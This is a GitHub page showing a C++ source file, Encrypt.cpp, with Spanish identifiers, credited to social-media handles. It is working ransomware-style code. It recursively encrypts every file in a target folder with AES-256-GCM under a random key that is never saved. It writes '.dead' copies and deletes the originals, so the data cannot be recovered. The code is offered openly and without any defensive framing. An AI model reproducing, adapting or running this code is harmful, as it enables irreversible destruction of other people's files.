-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathEncrypt.cpp
More file actions
81 lines (59 loc) · 2.44 KB
/
Encrypt.cpp
File metadata and controls
81 lines (59 loc) · 2.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <iostream>
#include <fstream>
#include <filesystem>
#include <vector>
#include <openssl/evp.h>
#include <openssl/rand.h>
namespace fs = std::filesystem;
void cifrar_archivo(const fs::path& ruta_entrada, const std::vector<unsigned char>& llave) {
fs::path ruta_salida = ruta_entrada;
ruta_salida += ".dead";
unsigned char iv[12];
RAND_bytes(iv, sizeof(iv));
std::ifstream archivo_in(ruta_entrada, std::ios::binary);
std::ofstream archivo_out(ruta_salida, std::ios::binary);
if (!archivo_in || !archivo_out) return;
archivo_out.write(reinterpret_cast<char*>(iv), sizeof(iv));
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
EVP_EncryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, llave.data(), iv);
std::vector<char> buffer(4096);
unsigned char ciphertext[4096 + 16];
int len, ciphertext_len;
while (archivo_in.read(buffer.data(), buffer.size()) || archivo_in.gcount() > 0) {
EVP_EncryptUpdate(ctx, ciphertext, &len, reinterpret_cast<unsigned char*>(buffer.data()), archivo_in.gcount());
archivo_out.write(reinterpret_cast<char*>(ciphertext), len);
}
EVP_EncryptFinal_ex(ctx, ciphertext, &len);
archivo_out.write(reinterpret_cast<char*>(ciphertext), len);
unsigned char tag[16];
EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, 16, tag);
archivo_out.write(reinterpret_cast<char*>(tag), 16);
EVP_CIPHER_CTX_free(ctx);
archivo_in.close();
archivo_out.close();
fs::remove(ruta_entrada);
std::cout << "Block " << ruta_entrada.filename() << std::endl;
}
int main() {
std::string carpeta_objetivo = "Nombre de la carpeta ";
std::vector<unsigned char> llave(32);
RAND_bytes(llave.data(), llave.size());
try {
if (fs::exists(carpeta_objetivo) && fs::is_directory(carpeta_objetivo)) {
for (const auto& entrada : fs::recursive_directory_iterator(carpeta_objetivo)) {
if (fs::is_regular_file(entrada.path())) {
if (entrada.path().extension() != ".dead") {
cifrar_archivo(entrada.path(), llave);
}
}
}
std::cout << "\n>>> Listo" << std::endl;
} else {
std::cerr << "La carpeta no existe" << std::endl;
}
} catch (const std::exception& e) {
std::cerr << "Error: " << e.what() << std::endl;
}
return 0;
}
// Codigo creado por t.me/Valen_Qq (Telegram) y uknowuser_qq (Tiktok)